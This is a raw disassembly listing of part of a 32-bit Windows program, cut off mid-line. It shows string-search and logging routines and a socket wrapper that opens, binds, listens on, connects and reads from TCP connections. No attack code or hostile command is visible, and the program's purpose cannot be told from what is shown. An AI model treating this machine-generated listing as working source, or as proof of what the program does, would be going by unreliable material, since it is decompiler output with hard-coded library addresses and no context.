dword_50FAF8 push esi push edi mov edi, [esp+10h] mov esi, offset dword_506E6C loc_419AA2: ; CODE XREF: ___:00419ABEj cmp byte ptr [esi], 0 jz short loc_419AB2 push edi push esi call ebx ; strstr add esp, 8 test eax, eax jnz short loc_419AC6 loc_419AB2: ; CODE XREF: ___:00419AA5j add esi, 80h cmp esi, offset dword_50AE6C jl short loc_419AA2 pop edi pop esi xor eax, eax pop ebx retn ; --------------------------------------------------------------------------- loc_419AC6: ; CODE XREF: ___:00419AB0j pop edi pop esi mov eax, 1 pop ebx retn ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_419AE0 proc near ; CODE XREF: sub_4010D2j var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 sub esp, 10h lea eax, [esp+10h+var_10] push esi push edi push eax nop call near ptr 27C0000h mov edi, dword_50FAFC mov esi, offset dword_50AE6C loc_419AFB: ; CODE XREF: sub_419AE0+3Bj cmp byte ptr [esi], 0 jz short loc_419B0F push 7Fh lea ecx, [esi+80h] push esi push ecx call edi ; strncpy add esp, 0Ch loc_419B0F: ; CODE XREF: sub_419AE0+1Ej sub esi, 80h cmp esi, offset dword_506E6C jge short loc_419AFB mov edx, [esp+18h+arg_0] mov eax, [esp+18h+var_4] mov ecx, [esp+12h] push edx mov edx, [esp+1Ch+var_8] and eax, 0FFFFh and ecx, 0FFFFh push eax mov eax, [esp+20h+var_10] and edx, 0FFFFh push ecx mov ecx, [esp+1Ah] push edx mov edx, [esp+28h+var_10+2] and eax, 0FFFFh and ecx, 0FFFFh push eax and edx, 0FFFFh push ecx push edx push offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s" push 80h push offset dword_506E6C call near ptr 77C3FA76h nop add esp, 28h pop edi pop esi add esp, 10h retn sub_419AE0 endp ; --------------------------------------------------------------------------- db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_419BB0: ; CODE XREF: ___:004012DAj sub esp, 600h mov ecx, 80h xor eax, eax push ebx push ebp push esi push edi lea edi, [esp+10h] mov esi, [esp+614h] rep stosd mov ecx, 80h lea edi, [esp+210h] mov ebp, dword_50FAFC push 1FFh rep stosd mov ecx, 80h lea edi, [esp+414h] rep stosd lea eax, [esp+14h] push esi push eax call ebp ; strncpy mov edx, [esp+628h] or ecx, 0FFFFFFFFh mov edi, edx xor eax, eax add esp, 0Ch repne scasb not ecx dec ecx cmp ecx, 180h jbe short loc_419C21 mov [edx+180h], al loc_419C21: ; CODE XREF: ___:00419C19j mov ebx, [esp+618h] lea ecx, [esp+10h] push ebx push ecx nop call near ptr 77C47C60h add esp, 8 test eax, eax jz loc_419D32 loc_419C3F: ; CODE XREF: ___:00419D25j lea edx, [esp+10h] push ebx push edx nop call near ptr 77C47C60h mov esi, eax mov edi, ebx or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push 1FFh add ecx, esi lea eax, [esp+41Ch] push ecx push eax call ebp ; strncpy lea ecx, [esp+24h] push 1FFh lea edx, [esp+228h] push ecx push edx mov byte ptr [esi], 0 call ebp ; strncpy lea edx, [esi+1] add esp, 20h test edx, edx jz short loc_419D00 lea eax, [ebx-1] test eax, eax jz short loc_419D00 lea edi, [ebx-1] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx mov edi, edx mov esi, ecx or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx cmp ecx, esi jbe short loc_419CDD mov edx, [esp+61Ch] lea ecx, [esp+410h] push ecx lea eax, [esp+214h] push edx push eax lea ecx, [esp+1Ch] push offset aSSS ; "%s%s%s" push ecx call sub_5EFFD5 nop add esp, 14h jmp short loc_419D00 ; --------------------------------------------------------------------------- loc_419CDD: ; CODE XREF: ___:00419CAEj mov edx, [esp+61Ch] lea eax, [esp+210h] push edx push eax lea ecx, [esp+18h] push offset aSS_3 ; "%s%s" push ecx nop call sub_5EFFD5 add esp, 10h loc_419D00: ; CODE XREF: ___:00419C8Aj ; ___:00419C91j ... mov edx, [esp+61Ch] mov esi, dword_50FAF8 push edx push ebx call esi ; strstr add esp, 8 test eax, eax jnz short loc_419D2B lea eax, [esp+10h] push ebx push eax call esi ; strstr add esp, 8 test eax, eax jnz loc_419C3F loc_419D2B: ; CODE XREF: ___:00419D16j mov esi, [esp+614h] loc_419D32: ; CODE XREF: ___:00419C39j lea edi, [esp+10h] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx push ecx lea ecx, [esp+14h] push ecx push esi call ebp ; strncpy add esp, 0Ch mov eax, esi pop edi pop esi pop ebp pop ebx add esp, 600h retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 70h dup(0CCh) ; --------------------------------------------------------------------------- loc_419DD0: ; CODE XREF: ___:004018CFj sub esp, 10h push esi push 0 push 1 push 2 nop call near ptr 71AB3B91h mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_419DEE or eax, eax pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_419DEE: ; CODE XREF: ___:00419DE5j mov ecx, [esp+18h] xor eax, eax mov [esp+4], eax push ecx mov [esp+0Ch], eax mov word ptr [esp+8], 2 mov [esp+10h], eax mov [esp+14h], eax nop call near ptr 71AB2B66h lea edx, [esp+4] push 10h push edx push esi mov [esp+12h], ax mov dword ptr [esp+14h], 0 call near ptr 71AB3E00h nop test eax, eax jz short loc_419E39 or eax, 0FFFFFFFFh pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_419E39: ; CODE XREF: ___:00419E2Fj push 7FFFFFFFh push esi nop call near ptr 71AB88D3h test eax, eax jz short loc_419E51 or eax, 0FFFFFFFFh pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_419E51: ; CODE XREF: ___:00419E47j mov eax, esi pop esi add esp, 10h retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_419E90: ; CODE XREF: ___:00401E65j push edi xor edi, edi mov eax, offset byte_4DE2E5 loc_419E98: ; CODE XREF: ___:00419EA8j cmp dword ptr [eax], 0 jz short loc_419EAA add eax, 316h inc edi cmp eax, offset byte_4E5E55 jle short loc_419E98 loc_419EAA: ; CODE XREF: ___:00419E9Bj cmp edi, 13h jle short loc_419EB4 or eax, 0FFFFFFFFh pop edi retn ; --------------------------------------------------------------------------- loc_419EB4: ; CODE XREF: ___:00419EADj lea eax, [edi+edi*4] push ebx shl eax, 4 sub eax, edi mov ebx, off_50FBF0 push esi lea eax, [eax+eax*4] lea esi, ds:4DE1EBh[eax*2] mov eax, [esp+10h] push eax push esi call ebx ; sub_5EFFD5 mov ecx, [esp+24h] mov edx, [esp+1Ch] mov eax, [esp+20h] mov [esi+0FAh], ecx mov ecx, [esp+28h] mov [esi+0FEh], edi add esp, 8 mov [esi+106h], edx mov [esi+10Ah], eax add esi, 10Eh push ecx push esi call ebx ; sub_5EFFD5 add esp, 8 mov eax, edi pop esi pop ebx pop edi retn ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_419F50 proc near ; CODE XREF: sub_4013E8j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_10 = dword ptr 14h push edi xor edi, edi mov eax, offset dword_4D6775 loc_419F58: ; CODE XREF: sub_419F50+18j cmp dword ptr [eax], 0 jz short loc_419F6A add eax, 316h inc edi cmp eax, offset byte_4DE2E5 jle short loc_419F58 loc_419F6A: ; CODE XREF: sub_419F50+Bj cmp edi, 13h jle short loc_419F74 or eax, 0FFFFFFFFh pop edi retn ; --------------------------------------------------------------------------- loc_419F74: ; CODE XREF: sub_419F50+1Dj lea eax, [edi+edi*4] push ebx shl eax, 4 sub eax, edi mov ebx, off_50FBF0 push esi lea eax, [eax+eax*4] lea esi, ds:4D667Bh[eax*2] mov eax, [esp+0Ch+arg_0] push eax push esi call ebx ; sub_5EFFD5 mov ecx, [esp+14h+arg_C] mov edx, [esp+14h+arg_4] mov eax, [esp+14h+arg_8] mov [esi+0FAh], ecx mov ecx, [esp+14h+arg_10] mov [esi+0FEh], edi add esp, 8 mov [esi+106h], edx mov [esi+10Ah], eax add esi, 10Eh push ecx push esi call ebx ; sub_5EFFD5 add esp, 8 mov eax, edi pop esi pop ebx pop edi retn sub_419F50 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A010 proc near ; CODE XREF: sub_401C35j var_190 = byte ptr -190h arg_0 = byte ptr 4 sub esp, 190h push ebp mov ebp, ecx push esi push edi mov dword ptr [ebp+0], offset off_43E0BC mov eax, dword_50BB38 test eax, eax jnz short loc_41A048 mov eax, dword_50BB38 inc eax mov dword_50BB38, eax lea ecx, [esp+19Ch+var_190] push ecx push 202h nop call near ptr 71AB664Dh jmp short loc_41A055 ; --------------------------------------------------------------------------- loc_41A048: ; CODE XREF: sub_41A010+19j mov edx, dword_50BB38 inc edx mov dword_50BB38, edx loc_41A055: ; CODE XREF: sub_41A010+36j mov al, [esp+19Ch+arg_0] or ecx, 0FFFFFFFFh mov [ebp+80Ah], al mov edi, offset byte_446F70 xor eax, eax mov [ebp+806h], ecx mov byte ptr [ebp+80Ch], 0 mov word ptr [ebp+4], 0 repne scasb not ecx sub edi, ecx lea edx, [ebp+6] mov eax, ecx mov esi, edi mov edi, edx shr ecx, 2 rep movsd mov ecx, eax mov eax, ebp and ecx, 3 rep movsb pop edi mov byte ptr [ebp+80Bh], 0 pop esi pop ebp add esp, 190h retn 4 sub_41A010 endp ; --------------------------------------------------------------------------- db 90h db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A0E0 proc near ; CODE XREF: ___:004018D4j sub_401AF5j arg_0 = byte ptr 4 push esi mov esi, ecx call sub_401FC8 test [esp+4+arg_0], 1 jz short loc_41A0F8 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_41A0F8: ; CODE XREF: sub_41A0E0+Dj mov eax, esi pop esi retn 4 sub_41A0E0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A110 proc near ; CODE XREF: sub_401FC8j mov al, [ecx+80Ah] mov dword ptr [ecx], offset off_43E0BC test al, al jnz short loc_41A125 call sub_4014DD loc_41A125: ; CODE XREF: sub_41A110+Ej mov eax, 1 mov ecx, dword_50BB38 cmp ecx, eax jle short loc_41A140 mov eax, dword_50BB38 dec eax mov dword_50BB38, eax locret_41A13F: ; CODE XREF: sub_41A110:loc_41A140j retn ; --------------------------------------------------------------------------- loc_41A140: ; CODE XREF: sub_41A110+22j jnz short locret_41A13F mov ecx, dword_50BB38 dec ecx mov dword_50BB38, ecx nop jmp near ptr 71AB4428h sub_41A110 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_41A180: ; CODE XREF: ___:004015A0j mov eax, large fs:0 push 0FFFFFFFFh push offset loc_43ACCB push eax mov large fs:0, esp sub esp, 814h push esi mov esi, ecx call sub_40195B test al, al jz loc_41A231 mov al, [esi+80Bh] test al, al jz short loc_41A1B9 mov al, 1 jmp short loc_41A231 ; --------------------------------------------------------------------------- loc_41A1B9: ; CODE XREF: ___:0041A1B3j push ebx push edi mov edi, [esp+830h] push 800h lea eax, [esi+6] push edi push eax nop call near ptr 77C47A90h mov ebx, [esp+840h] add esp, 0Ch lea ecx, [esp+0Ch] mov [esi+4], bx call sub_401186 mov ecx, [esp+83Ch] mov edx, [esp+838h] push ecx push edx push ebx push edi lea ecx, [esp+1Ch] mov dword ptr [esp+838h], 0 call sub_401636 push eax mov ecx, esi call sub_4020C7 lea ecx, [esp+0Ch] mov bl, al mov dword ptr [esp+828h], 0FFFFFFFFh call sub_40186B mov al, bl pop edi pop ebx loc_41A231: ; CODE XREF: ___:0041A1A5j ; ___:0041A1B7j mov ecx, [esp+818h] pop esi mov large fs:0, ecx add esp, 820h retn 10h ; --------------------------------------------------------------------------- db 7 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A290 proc near ; CODE XREF: sub_40195Bj mov al, byte_443DD0 retn sub_41A290 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A2B0 proc near ; CODE XREF: sub_4020C7j var_11C = dword ptr -11Ch var_118 = dword ptr -118h var_114 = dword ptr -114h var_110 = dword ptr -110h var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_104 = dword ptr -104h var_100 = dword ptr -100h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = byte ptr 10h sub esp, 11Ch push ebp push esi push edi mov esi, ecx call sub_40195B test al, al jnz short loc_41A2D0 pop edi pop esi pop ebp add esp, 11Ch retn 10h ; --------------------------------------------------------------------------- loc_41A2D0: ; CODE XREF: sub_41A2B0+12j mov al, [esi+80Bh] test al, al jnz loc_41A471 push 6 push 1 push 2 call near ptr 71AB3B91h nop cmp eax, 0FFFFFFFFh mov [esi+806h], eax jnz short loc_41A30A mov ecx, esi call sub_4014DD pop edi pop esi xor al, al pop ebp add esp, 11Ch retn 10h ; --------------------------------------------------------------------------- loc_41A30A: ; CODE XREF: sub_41A2B0+43j mov al, [esp+128h+arg_C] test al, al jnz short loc_41A319 push 1 jmp short loc_41A31B ; --------------------------------------------------------------------------- loc_41A319: ; CODE XREF: sub_41A2B0+63j push 0 loc_41A31B: ; CODE XREF: sub_41A2B0+67j mov ecx, esi call sub_4018BB mov edi, [esp+128h+arg_4] xor eax, eax mov [esp+128h+var_114], eax push edi mov [esp+12Ch+var_110], eax mov [esi+4], di mov [esp+12Ch+var_10C], eax mov word ptr [esp+12Ch+var_114], 2 mov [esp+12Ch+var_108], eax nop call near ptr 71AB2B66h mov ecx, [esp+128h+arg_0] mov word ptr [esp+128h+var_114+2], ax mov eax, [esi+806h] lea edx, [esp+128h+var_114] push 10h push edx push eax mov [esp+134h+var_110], ecx mov [esi+4], di nop call near ptr 71AB406Ah mov ebp, dword_50FC44 test eax, eax jge short loc_41A3BC call ebp ; WSAGetLastError cmp eax, 2733h jz short loc_41A3AD call ebp ; WSAGetLastError cmp eax, 0Bh jz short loc_41A3AD call ebp ; WSAGetLastError cmp eax, 2733h jz short loc_41A3AD mov byte ptr [esi+80Bh], 0 pop edi pop esi xor al, al pop ebp add esp, 11Ch retn 10h ; --------------------------------------------------------------------------- loc_41A3AD: ; CODE XREF: sub_41A2B0+D6j ; sub_41A2B0+DDj ... mov al, byte ptr [esp+128h+arg_8] test al, al jnz loc_41A46A loc_41A3BC: ; CODE XREF: sub_41A2B0+CDj mov eax, [esi+806h] xor ecx, ecx lea edx, [esp+128h+var_11C] mov edi, dword_50FC80 mov [esp+128h+var_11C], ecx push edx mov [esp+12Ch+var_118], ecx push ecx lea ecx, [esp+130h+var_104] mov [esp+130h+var_100], eax push ecx inc eax push 0 push eax mov [esp+13Ch+var_11C], 0Ah mov [esp+13Ch+var_104], 1 call edi ; select test eax, eax jge short loc_41A430 loc_41A3FB: ; CODE XREF: sub_41A2B0+17Ej call ebp ; WSAGetLastError call ebp ; WSAGetLastError cmp eax, 4 jnz short loc_41A445 mov eax, [esp+128h+var_11C] test eax, eax jnz short loc_41A414 mov eax, [esp+128h+var_118] test eax, eax jz short loc_41A445 loc_41A414: ; CODE XREF: sub_41A2B0+15Aj mov ecx, [esi+806h] lea edx, [esp+128h+var_11C] push edx lea eax, [esp+12Ch+var_104] push 0 push eax inc ecx push 0 push ecx call edi ; select test eax, eax jl short loc_41A3FB loc_41A430: ; CODE XREF: sub_41A2B0+149j mov al, [esp+128h+arg_C] test al, al jnz short loc_41A461 mov edx, [esp+128h+arg_8] push edx jmp short loc_41A463 ; --------------------------------------------------------------------------- loc_41A445: ; CODE XREF: sub_41A2B0+152j ; sub_41A2B0+162j mov ecx, esi call sub_4014DD mov byte ptr [esi+80Bh], 0 pop edi pop esi xor al, al pop ebp add esp, 11Ch retn 10h ; --------------------------------------------------------------------------- loc_41A461: ; CODE XREF: sub_41A2B0+189j push 0 loc_41A463: ; CODE XREF: sub_41A2B0+193j mov ecx, esi call sub_4018BB loc_41A46A: ; CODE XREF: sub_41A2B0+106j mov byte ptr [esi+80Bh], 1 loc_41A471: ; CODE XREF: sub_41A2B0+28j pop edi pop esi mov al, 1 pop ebp add esp, 11Ch retn 10h sub_41A2B0 endp ; --------------------------------------------------------------------------- db 90h db 80h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A500 proc near ; CODE XREF: sub_4014DDj push esi mov esi, ecx mov eax, [esi+806h] cmp eax, 0FFFFFFFFh jz short loc_41A51A cmp eax, 0FFFFFFFFh jz short loc_41A51A push eax nop call near ptr 71AB9639h loc_41A51A: ; CODE XREF: sub_41A500+Cj ; sub_41A500+11j mov ecx, esi call sub_401375 mov byte ptr [esi+80Bh], 0 pop esi retn sub_41A500 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A540 proc near ; CODE XREF: sub_401375j push ebp mov edx, ecx push esi push edi or ecx, 0FFFFFFFFh mov edi, offset byte_446F70 xor eax, eax mov [edx+806h], ecx mov word ptr [edx+4], 0 lea ebp, [edx+6] repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, ebp shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb pop edi pop esi mov byte ptr [edx+80Bh], 0 mov byte ptr [edx+80Ch], 0 pop ebp retn sub_41A540 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A5B0 proc near ; CODE XREF: sub_401488j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 sub esp, 10h push esi mov esi, ecx call sub_40195B test al, al jnz short loc_41A5C6 pop esi add esp, 10h retn 4 ; --------------------------------------------------------------------------- loc_41A5C6: ; CODE XREF: sub_41A5B0+Dj mov al, [esi+80Bh] test al, al jnz loc_41A67F push 6 push 1 push 2 call near ptr 71AB3B91h nop cmp eax, 0FFFFFFFFh mov [esi+806h], eax jnz short loc_41A5FB mov ecx, esi call sub_4014DD xor al, al pop esi add esp, 10h retn 4 ; --------------------------------------------------------------------------- loc_41A5FB: ; CODE XREF: sub_41A5B0+39j mov ecx, [esp+14h+arg_0] xor eax, eax mov [esp+14h+var_10], eax push ecx mov [esp+18h+var_C], eax mov word ptr [esp+18h+var_10], 2 mov [esp+18h+var_8], eax mov [esp+18h+var_4], eax nop call near ptr 71AB2B66h mov word ptr [esp+14h+var_10+2], ax mov eax, [esi+806h] lea edx, [esp+14h+var_10] push 10h push edx push eax mov [esp+20h+var_C], 0 call near ptr 71AB3E00h nop test eax, eax jz short loc_41A654 mov ecx, esi call sub_4014DD xor al, al pop esi add esp, 10h retn 4 ; --------------------------------------------------------------------------- loc_41A654: ; CODE XREF: sub_41A5B0+92j mov ecx, [esi+806h] push 32h push ecx nop call near ptr 71AB88D3h cmp eax, 0FFFFFFFFh jnz short loc_41A678 mov ecx, esi call sub_4014DD xor al, al pop esi add esp, 10h retn 4 ; --------------------------------------------------------------------------- loc_41A678: ; CODE XREF: sub_41A5B0+B6j mov byte ptr [esi+80Bh], 1 loc_41A67F: ; CODE XREF: sub_41A5B0+1Ej mov al, 1 pop esi add esp, 10h retn 4 sub_41A5B0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A6D0 proc near ; CODE XREF: sub_401B81j var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_118 = dword ptr -118h var_114 = byte ptr -114h var_104 = dword ptr -104h var_100 = dword ptr -100h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch sub esp, 120h push esi push edi mov esi, ecx call sub_40195B test al, al jnz short loc_41A6EE pop edi pop esi add esp, 120h retn 0Ch ; --------------------------------------------------------------------------- loc_41A6EE: ; CODE XREF: sub_41A6D0+11j mov al, [esi+80Bh] test al, al jnz short loc_41A705 pop edi xor al, al pop esi add esp, 120h retn 0Ch ; --------------------------------------------------------------------------- loc_41A705: ; CODE XREF: sub_41A6D0+26j mov al, [esi+80Ch] test al, al jnz short loc_41A781 call sub_40195B test al, al jz short loc_41A774 mov edi, dword_50FC80 loc_41A71E: ; CODE XREF: sub_41A6D0+A2j mov eax, [esi+806h] lea ecx, [esp+128h+var_11C] push ecx mov [esp+12Ch+var_100], eax push 0 lea edx, [esp+130h+var_104] push 0 inc eax push edx push eax mov [esp+13Ch+var_104], 1 mov [esp+13Ch+var_11C], 0 mov [esp+13Ch+var_118], 64h call edi ; select test eax, eax jz short loc_41A76B mov ecx, [esi+806h] lea eax, [esp+128h+var_104] push eax push ecx call sub_436F60 ; --------------------------------------------------------------------------- test eax, eax jnz short loc_41A781 loc_41A76B: ; CODE XREF: sub_41A6D0+84j call sub_40195B test al, al jnz short loc_41A71E loc_41A774: ; CODE XREF: sub_41A6D0+46j pop edi xor al, al pop esi add esp, 120h retn 0Ch ; --------------------------------------------------------------------------- loc_41A781: ; CODE XREF: sub_41A6D0+3Dj ; sub_41A6D0+99j mov eax, [esp+128h+arg_4] mov [esp+128h+var_120], 0FFFFFFFFh test eax, eax jz short loc_41A7A4 lea edx, [esp+128h+var_11C] mov [esp+128h+var_11C], 10h push edx push eax jmp short loc_41A7B6 ; --------------------------------------------------------------------------- loc_41A7A4: ; CODE XREF: sub_41A6D0+C2j lea ecx, [esp+128h+var_11C] lea edx, [esp+128h+var_114] push ecx mov [esp+12Ch+var_11C], 10h push edx loc_41A7B6: ; CODE XREF: sub_41A6D0+D2j mov eax, [esi+806h] push eax nop call near ptr 71AC1028h cmp eax, 0FFFFFFFFh mov [esp+128h+var_120], eax jnz short loc_41A7D9 pop edi xor al, al pop esi add esp, 120h retn 0Ch ; --------------------------------------------------------------------------- loc_41A7D9: ; CODE XREF: sub_41A6D0+FAj mov esi, [esp+128h+arg_0] lea ecx, [esp+128h+var_120] push ecx mov ecx, esi call sub_4020EA mov dl, [esp+128h+arg_8] pop edi mov [esi+80Dh], dl mov al, 1 pop esi add esp, 120h retn 0Ch sub_41A6D0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A860 proc near ; CODE XREF: sub_4020EAj arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov edx, [eax] mov [ecx+806h], edx mov edx, [eax] cmp edx, 0FFFFFFFFh setnz al mov [ecx+80Bh], al retn 4 sub_41A860 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A890 proc near ; CODE XREF: sub_401960j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_8] mov edx, [esp+arg_4] push eax mov eax, [esp+4+arg_0] push 0 push edx push eax call sub_401B3B retn 0Ch sub_41A890 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A8C0 proc near ; CODE XREF: sub_401B3Bj var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_208 = dword ptr -208h var_204 = dword ptr -204h var_104 = dword ptr -104h var_100 = dword ptr -100h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h sub esp, 210h push ebx push ebp push esi mov esi, ecx push edi cmp dword ptr [esi+806h], 0FFFFFFFFh jz loc_41AA24 mov al, [esi+80Bh] test al, al jz loc_41AA24 mov edi, dword_50F8A4 call edi mov ebp, eax mov al, [esi+80Dh] test al, al jnz loc_41A9BC mov ebx, [esp+220h+arg_8] test ebx, ebx jz loc_41A9BC call sub_40195B test al, al jz loc_41A9BC loc_41A91B: ; CODE XREF: sub_41A8C0+F6j mov eax, [esi+806h] mov ecx, 1 mov [esp+220h+var_100], eax mov [esp+220h+var_104], ecx mov [esp+220h+var_204], eax mov [esp+220h+var_208], ecx mov [esp+220h+var_210], 0 mov [esp+220h+var_20C], 64h call edi sub eax, ebp cmp eax, ebx ja loc_41AA24 lea eax, [esp+220h+var_210] lea ecx, [esp+220h+var_208] push eax mov eax, [esi+806h] push ecx lea edx, [esp+228h+var_104] push 0 inc eax push edx push eax call near ptr 71AB2DC0h nop test eax, eax jz short loc_41A9AF mov edx, [esi+806h] lea ecx, [esp+220h+var_208] push ecx push edx call sub_436F60 ; --------------------------------------------------------------------------- test eax, eax jnz loc_41AA24 mov ecx, [esi+806h] lea eax, [esp+220h+var_104] push eax push ecx call sub_436F60 ; --------------------------------------------------------------------------- test eax, eax jnz short loc_41A9BC loc_41A9AF: ; CODE XREF: sub_41A8C0+BCj call sub_40195B test al, al jnz loc_41A91B loc_41A9BC: ; CODE XREF: sub_41A8C0+39j ; sub_41A8C0+48j ... call sub_40195B test al, al jz short loc_41AA24 mov edx, [esp+220h+arg_4] mov eax, [esp+220h+arg_0] mov ecx, [esi+806h] push 0 push edx push eax push ecx nop call near ptr 71AB615Ah mov ecx, [esp+220h+arg_C] test ecx, ecx jz short loc_41A9F1 mov [ecx], eax loc_41A9F1: ; CODE XREF: sub_41A8C0+12Dj cmp eax, 0FFFFFFFFh jz short loc_41AA09 test eax, eax jz short loc_41AA09 pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 210h retn 10h ; --------------------------------------------------------------------------- loc_41AA09: ; CODE XREF: sub_41A8C0+134j ; sub_41A8C0+138j call near ptr 71AB94DCh nop pop edi cmp eax, 2733h pop esi pop ebp setz al pop ebx add esp, 210h retn 10h ; --------------------------------------------------------------------------- loc_41AA24: ; CODE XREF: sub_41A8C0+13j ; sub_41A8C0+21j ... pop edi pop esi pop ebp xor al, al pop ebx add esp, 210h retn 10h sub_41A8C0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 60h dup(0CCh) ; --------------------------------------------------------------------------- loc_41AAA0: ; CODE XREF: ___:00401618j mov eax, [ecx+806h] cmp eax, 0FFFFFFFFh jz short loc_41AAF1 mov dl, [ecx+80Bh] test dl, dl jz short loc_41AAF1 mov ecx, [esp+8] mov edx, [esp+4] push 0 push ecx push edx push eax call near ptr 71AB428Ah nop mov ecx, [esp+0Ch] test ecx, ecx jz short loc_41AAD2 mov [ecx], eax loc_41AAD2: ; CODE XREF: ___:0041AACEj cmp eax, 0FFFFFFFFh jz short loc_41AAE0 test eax, eax jz short loc_41AAE0 mov al, 1 retn 0Ch ; --------------------------------------------------------------------------- loc_41AAE0: ; CODE XREF: ___:0041AAD5j ; ___:0041AAD9j call near ptr 71AB94DCh nop cmp eax, 2733h setz al retn 0Ch ; --------------------------------------------------------------------------- loc_41AAF1: ; CODE XREF: ___:0041AAA9j ; ___:0041AAB3j xor al, al retn 0Ch ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_41AB20: ; CODE XREF: ___:004019B0j push ecx push ebx push ebp push esi mov esi, ecx push edi mov [esp+10h], esi call sub_40195B test al, al jnz short loc_41AB3C pop edi pop esi pop ebp pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- loc_41AB3C: ; CODE XREF: ___:0041AB32j mov al, [esi+80Bh] xor ebx, ebx cmp al, bl jnz short loc_41AB52 loc_41AB48: ; CODE XREF: ___:0041AB8Dj pop edi pop esi pop ebp xor al, al pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- loc_41AB52: ; CODE XREF: ___:0041AB46j mov eax, [esp+1Ch] mov ebp, [esp+18h] xor esi, esi dec eax cmp eax, ebx mov [ebp+0], bl mov byte ptr [esp+18h], 1 jle short loc_41ABB6 mov edi, ebp loc_41AB6B: ; CODE XREF: ___:0041ABB4j cmp edi, ebx jz short loc_41ABB6 cmp [esp+18h], bl jz short loc_41ABB6 call sub_40195B test al, al jz short loc_41ABB6 mov ecx, [esp+10h] push ebx push 1 push edi call sub_401960 test al, al jz short loc_41AB48 mov [esi+ebp+1], bl mov al, [edi] cmp al, 0Ah jz short loc_41ABA1 cmp al, 0Dh jz short loc_41ABA1 cmp al, bl jnz short loc_41ABA9 loc_41ABA1: ; CODE XREF: ___:0041AB97j ; ___:0041AB9Bj mov [esi+ebp-1], bl mov [esp+18h], bl loc_41ABA9: ; CODE XREF: ___:0041AB9Fj mov ecx, [esp+1Ch] inc esi inc edi lea eax, [ecx-1] cmp esi, eax jl short loc_41AB6B loc_41ABB6: ; CODE XREF: ___:0041AB67j ; ___:0041AB6Dj ... mov edx, [esp+1Ch] pop edi pop esi mov al, 1 mov [edx+ebp-1], bl pop ebp pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- db 8 dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_41AC00: ; CODE XREF: ___:00402180j push ecx push ebx push ebp push esi mov esi, ecx push edi mov [esp+10h], esi call sub_40195B test al, al jnz short loc_41AC1C pop edi pop esi pop ebp pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- loc_41AC1C: ; CODE XREF: ___:0041AC12j mov al, [esi+80Bh] xor ebx, ebx cmp al, bl jnz short loc_41AC32 loc_41AC28: ; CODE XREF: ___:0041AC6Dj pop edi pop esi pop ebp xor al, al pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- loc_41AC32: ; CODE XREF: 